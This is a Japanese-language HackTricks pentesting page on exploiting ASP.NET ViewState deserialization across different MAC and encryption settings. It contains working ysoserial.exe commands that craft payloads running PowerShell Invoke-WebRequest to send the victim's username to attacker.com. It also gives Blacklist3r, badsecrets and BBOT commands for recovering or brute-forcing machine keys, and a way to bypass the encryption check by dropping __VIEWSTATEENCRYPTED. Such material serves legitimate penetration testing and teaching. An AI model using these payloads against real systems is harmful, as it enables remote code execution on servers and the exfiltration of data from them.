hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

19 KiB
Raw Blame History

__VIEWSTATEパラメータを知らなくても悪用する

htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ こちら

HackTricksをサポートする他の方法

バグバウンティのヒントハッカーによって作成されたプレミアムバグバウンティプラットフォームであるIntigritiサインアップしてください!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得し始めましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

ViewStateとは

ViewStateは、ASP.NETにおけるページとコントロールデータをウェブページ間で維持するためのデフォルトメカニズムとして機能します。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持する値は、base64でエンコードされた文字列にシリアライズされます。これらの文字列は、非表示のViewStateフィールドに配置されます。

ViewState情報は、次のプロパティまたはそれらの組み合わせによって特徴付けられます

  • Base64:
  • この形式は、EnableViewStateMacおよびViewStateEncryptionMode属性がfalseに設定されている場合に使用されます。
  • Base64 + MACMessage Authentication Code有効:
  • MACの有効化は、EnableViewStateMac属性をtrueに設定することで達成されます。これにより、ViewStateデータの整合性検証が提供されます。
  • Base64 + 暗号化:
  • 暗号化は、ViewStateEncryptionMode属性がtrueに設定されている場合に適用され、ViewStateデータの機密性が確保されます。

テストケース

画像は、.NETフレームワークバージョンに基づいてASP.NETでのViewStateの異なる構成を詳細に示した表です。以下は、内容の要約です

  1. .NETの任意のバージョンについて、MACと暗号化の両方が無効になっている場合、MachineKeyは必要なく、したがってそれを特定するための適用可能な方法はありません。
  2. 4.5未満のバージョンでは、MACが有効であっても暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は、「Blacklist3r」と呼ばれます。
  3. 4.5未満のバージョンでは、MACが有効であるかどうかに関係なく、暗号化が有効な場合、MachineKeyが必要です。MachineKeyの特定は、「Blacklist3r - Future Development」の課題です。
  4. 4.5以上のバージョンでは、MACと暗号化のすべての組み合わせ両方がtrueであるか、1つがtrueで他がfalseであるかにはMachineKeyが必要です。「Blacklist3r」を使用してMachineKeyを特定できます。

テストケース1 EnableViewStateMac=false および viewStateEncryptionMode=false

また、AspNetEnforceViewStateMacレジストリキーをゼロに設定することで、ViewStateMACを完全に無効にすることも可能です。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState属性の特定

BurpSuiteを使用して、このパラメータを含むリクエストをキャプチャして、ViewStateがMACで保護されているかどうかを特定できます。MACが使用されていない場合は、YSoSerial.Netを使用してそれを悪用することができます。

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

テストケース 1.5 テストケース 1と同様だが、サーバーからViewStateクッキーが送信されない

開発者は、ViewStateをHTTPリクエストの一部にならないようにすることができますユーザーはこのクッキーを受け取らない
ViewStateが存在しない場合、ViewStateの逆シリアル化に起因する潜在的な脆弱性から実装が安全であると仮定するかもしれません。
しかし、それは事実ではありません。リクエストボディにViewStateパラメータを追加し、ysoserialを使用して作成したシリアル化ペイロードを送信すると、ケース1で示されているように、コード実行を達成することができます。

テストケース: 2 .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false

特定のページでViewState MACを有効にするには、特定のaspxファイルで以下の変更を行う必要があります

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

web.configファイルに以下に示すように設定することで、全体的なアプリケーションに対しても行うことができます。

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

攻撃を成功させるためには、まず使用されているキーを取得する必要があります。

Blacklist3r(AspDotNetWrapper.exe) を使用して、使用されているキーを見つけることができます。

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecretsは、既知のmachineKeysを特定できる別のツールです。Pythonで書かれているため、Blacklist3rとは異なり、Windowsに依存しません。.NETのviewstatesに対しては、「python blacklist3r」というユーティリティがあり、これが最も簡単な使用方法です。

ビューステートとジェネレータを直接指定することもできます:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

または、対象のURLに直接接続し、HTMLからviewstateを取り出そうとすることができます。

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

大規模で脆弱なviewstatesを検索するために、サブドメインの列挙と組み合わせて、badsecrets BBOT モジュールを使用できます:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

運が良ければ、キーが見つかった場合は、YSoSerial.Net: を使用して攻撃を続行できます。

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

場合によっては、サーバーから _VIEWSTATEGENERATOR パラメータが送信されない場合、--generator パラメータを指定する必要はありませんが、次のパラメータが必要です:

--apppath="/" --path="/hello.aspx"

テストケース: 3 .Net < 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true

この場合、パラメータがMACで保護されているかどうかはわかりません。そのため、値はおそらく暗号化されており、脆弱性を悪用するためにマシンキーが必要です。

この場合、 Blacklist3r モジュールが開発中です...

.NET 4.5より前、ASP.NETは、ViewStateEncryptionModeAlways に設定されていても、ユーザーからの___VIEWSTATE_パラメータを暗号化されていない状態で受け入れることができます。ASP.NETは、リクエスト内の __VIEWSTATEENCRYPTED パラメータの存在のみを確認します。このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。

したがって、攻撃者がファイルトラバーサルなどの他の脆弱性を介してマシンキーを取得する方法を見つけると、Case 2 で使用された YSoSerial.Net コマンドを使用して、ViewState逆シリアル化の脆弱性を利用してRCEを実行できます。

  • ViewState逆シリアル化の脆弱性を悪用するには、リクエストから __VIEWSTATEENCRYPTED パラメータを削除します。そうしないと、Viewstate MAC検証エラーが返され、脆弱性を悪用できません。

テストケース: 4 .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし、両方の属性がfalseに設定されている場合

以下に示すように、web.configファイル内で以下のパラメータを指定することで、ASP.NETフレームワークの使用を強制できます。

<httpRuntime targetFramework="4.5" />

代わりに、次のオプションをweb.configファイルのmachineKeyパラメータ内に指定することで行うことができます。

compatibilityMode="Framework45"

前述の通り、値は暗号化されています。 そのため、有効なペイロードを送信するには、攻撃者が鍵が必要です。

Blacklist3r(AspDotNetWrapper.exe) を使用して、使用されている鍵を見つけることができます。

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

IISDirPathとTargetPagePathの詳細な説明については、こちらを参照してください。

または、Badsecrets(ジェネレータ値を使用):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

有効なマシンキーが特定されたら、次のステップはYSoSerial.Netを使用してシリアライズされたペイロードを生成することです

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

もし__VIEWSTATEGENERATORの値を持っている場合、その値を使用して--generatorパラメータを使用し、パラメータ--path--apppath省略することができます。

ViewState逆シリアル化の脆弱性を成功裏に悪用すると、ユーザー名を含む攻撃者が制御するサーバーに対してアウト・オブ・バンド・リクエストが送信されます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができるプルーフ・オブ・コンセプトPoCで示されています。エクスプロイトプロセスの動作方法や、MachineKeyを特定するためにBlacklist3rなどのツールをどのように利用するかの詳細については、提供された成功したエクスプロイトのPoCを参照してください。

テストケース6 ViewStateUserKeysが使用されている

ViewStateUserKeyプロパティはCSRF攻撃に対抗するために使用できます。アプリケーションでこのようなキーが定義されている場合、これまでに議論された方法でViewStateペイロードを生成しようとすると、アプリケーションによってペイロードが処理されないでしょう。
正しくペイロードを作成するためには、もう1つのパラメータを使用する必要があります

--viewstateuserkey="randomstringdefinedintheserver"

成功した攻撃の結果

すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが成功した場合、サーバーは「500 Internal server error」という応答を返し、「The state information is invalid for this page and might be corrupted」という応答コンテンツが表示され、OOBリクエストを取得します。

詳細はこちら

参考文献

バグバウンティのヒント: Intigritiサインアップしてください。これは、ハッカーによって作成されたプレミアムバグバウンティプラットフォームです!https://go.intigriti.com/hacktricks で今すぐ参加し、最大**$100,000**のバウンティを獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学びましょう

HackTricksをサポートする他の方法: